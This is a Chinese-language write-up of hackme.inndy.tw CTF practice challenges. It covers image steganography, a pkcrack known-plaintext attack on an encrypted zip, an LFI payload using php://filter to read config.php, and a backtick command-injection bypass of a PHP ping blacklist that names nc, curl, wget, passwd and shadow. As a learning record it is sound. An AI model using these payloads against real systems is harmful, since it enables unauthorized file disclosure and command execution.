Write-up:: HackmeTw

練習CTF相關知識的過程與心得。

網站在這邊>~<

未來一直更新下去的話文章會很長很長,如果想要針對某一題或是類別的話電腦板網站左側有文章目錄可以按!


Misc


flag

All flags are in this format: FLAG{XXXXXXXXX}

如題目敘述所示XDD


corgi can fly

Corgi is cute, right?

不知道該做甚麼的時候...hexdump -C!!

1
2
3
4
5
000cb150  61 6e 20 46 6c 79 dc 8d  04 1e 00 00 00 23 74 45  |an Fly.......#tE|
000cb160  58 74 41 72 74 69 73 74  00 52 47 6c 6b 49 48 6c  |XtArtist.RGlkIHl|
000cb170  76 64 53 42 30 63 6d 6c  6c 5a 43 42 4d 55 30 49  |vdSB0cmllZCBMU0I|
000cb180  2f 43 67 3d 3d d1 5a 87  ea 00 00 00 00 49 45 4e  |/Cg==.Z......IEN|
000cb190  44 ae 42 60 82                                    |D.B`.|

在結尾有看到base64編碼過的編碼,特徵應該就是那兩個==,拿去base64 decode一下吧~ RGlkIHlvdSB0cmllZCBMU0ICg== => Did you tried LSB 不知道甚麼是LSB,先Google一下吧,查到了LSB是一種可以在圖片中隱寫的技巧,這時候就來找工具吧!

這邊使用了stegsolve,一種圖片解碼器吧(?。 總之點開來load圖片進去然後gui點一點就會得到一個QRcode,掃一下答案就出來了!!


television

Looks like my television was broken

這一題一開始會拿到一個.bmp的檔案,所以我就敲了bmp file encryption進去了google,得到了一個可能的答案: CBC Encrypted,因為被這種加密過後的bmp圖片跟題目給出來的長的差不多,結果好像不是….

所以我用了strings觀察一下檔案….

Flag直接就在裡面了XDD


meow

Pusheen is cute!

這次拿到了一個.png檔案,binwalk走起看看裡面藏了甚麼

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
binwalk meow.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 296 x 279, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
48543         0xBD9F          Zip archive data, at least v1.0 to extract, name: meow/
48606         0xBDDE          Zip archive data, encrypted at least v2.0 to extract, compressed size: 51, uncompressed size: 47, name: meow/flag
48740         0xBE64          Zip archive data, at least v1.0 to extract, name: meow/t39.1997-6/
48814         0xBEAE          Zip archive data, at least v1.0 to extract, name: meow/t39.1997-6/p296x100/
48897         0xBF01          Zip archive data, encrypted at least v2.0 to extract, compressed size: 48404, uncompressed size: 48543, name: meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png
97912         0x17E78         End of Zip archive, footer length: 22

恩…看起來有.zip藏在裡面呢w 怎麼把它挖出來呢,使用foremost一個檔案還原工具! 之後會產出一個output資料夾,裡面有剛剛的00000094.zip還額外拿到一個00000000.png

總之先unzip 00000094.zip....

1
2
Archive:  00000094.zip
[00000094.zip] meow/flag password:

看起來跟我要密碼,我去哪裡生出來XDD 先分析看看這個拆出來的.zip吧,unzip -v走起!!(unzip -v: list verbosely/show version info)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
unzip -v 00000094.zip
Archive:  00000094.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2016-06-11 17:22 00000000  meow/
      47  Defl:N       39  17% 2016-06-11 17:22 3046cea4  meow/flag
       0  Stored        0   0% 2016-06-11 17:20 00000000  meow/t39.1997-6/
       0  Stored        0   0% 2016-06-11 17:21 00000000  meow/t39.1997-6/p296x100/
   48543  Defl:N    48392   0% 2014-05-14 06:59 cdad52bd  meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png
--------          -------  ---                            -------
   48590            48431   0%                            5 files

這裡頭也有一個.png耶,他的CRC32: cdad52bd,把剛剛招喚出來的00000000.png比較CRC32看看….一致耶!

這樣的話這個 zip存在著明文攻擊(known plain text attack) 的! pkcrack走起!! 如果要執行這個攻擊方式的話要把已知的部分製作成zip file,再使用pkcrack工具(之後來研究原理再做個文章介紹)。

1
2
3
4
5
zip plain.zip 00000000.png`
pkcrack -C 00000094.zip  -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip  -p ../png/00000000.png -d resu
lt.zip -a
unzip result.zip
cat meow/flag

這個花好多心力再搞懂zip跟一些工具,花了不少時間但是收穫多多!d(`・∀・)b


where is flag

Do you know regular expression?

TBD


Web


hide and seek

Can you see me? I’m so close to you but you can’t see me.

對著Hackme.tw的首頁Ctrl + U & Ctrl + F輸入FLAG,蹦!


guestbook

This guestbook sucks. sqlmap is your friend.

TBD


LFI

What this admin’s password? That is not important at all, just get the flag. Tips: LFI, php://filter

這題我發現有兩條路可以走,都可以拿到Flag,兩條路的攻擊方法都是Local File Inclusion Attack只是一個是打/login一個是猜的,開始囉(ゝ∀・)

我們一開始可以看到網址https://hackme.inndy.tw/lfi/?page=pages/index使用了?page來取得資源,但是如果直接改掉網址轉向到其他地方會出現一個訊息

1
H@cK3r F0UnD

這很明顯不是我們要的,在題目的提示還給出了php://filter這個提示,應該是希望我們使用這個東西來bypass掉網址保護,把內容用base64 encode之後輸出php://filter/read=convert.base64-encode/resource=

把網址改成https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag來存取網頁原始碼(flag.php是猜的)

得到一串Base64,找個工具decode得出

1
Can you read the flag<?php require('config.php'); ?>?

還真的有東西,那就讀他的config.php吧! Flag就在裡面


homepage

Where is the flag? Did you check the code?

在首頁使用F12然後進到console tab,有個QRCodeXD


ping

Can you ping 127.0.0.1?

一點進去就會出現一個網頁有textbox跟button,而且一開始就把php source code吐出來了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Ping</title>
</head>
<body>
    <form action="." method="GET">
        IP: <input type="text" name="ip"> <input type="submit" value="Ping">
    </form>
    <pre><?php
        $blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];

        set_time_limit(2);

        function ping($ip) {
            global $blacklist;

            if(strlen($ip) > 15) {
                return 'IP toooooo longgggggggggg';
            } else {
                foreach($blacklist as $keyword) {
                    if(strstr($ip, $keyword)) {
                        return "{$keyword} not allowed";
                    }
                }
                $ret = [];
                exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
                return implode("\n", array_slice($ret, 0, 10));
            }
        }

        if(!empty($_GET['ip']))
            echo htmlentities(ping($_GET['ip']));
        else
            highlight_file(__FILE__);
    ?></pre>
</body>
</html>

我們可以觀察到前面有個blacklist,看起來是用來避免textbox出現這些東西,繼續往下就會看到有個exec()的function,我們應該可以透過command injection來拿flag

但是不能直接寫指令上去,要先把之前的ping隔開,但是大多數的符號都被禁止了,好佳在**"`(反斜線)"**沒有被禁止,而且ls也沒有被禁止,我們先試試看反斜線ls反斜線吧!

1
2
ping: flag.php
index.php: Name or service not known

看起來有個flag.php的檔案,但是我們不能使用cat也不能寫腳本讓他跑,但其實還有sort可以用,試試看sort flag.php!

1
flag not allowed

對耶,flag也在blacklist裡面,我們還有一種工具,叫做wildcard?,那把輸入改成sort ????????就會吐flag出來了!

看起來blacklist沒有禁止grep之後再來試試看能不能用grep吐flag。


scoreboard

DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.

Flag在response header裡面。

Built with Hugo
Theme Stack designed by Jimmy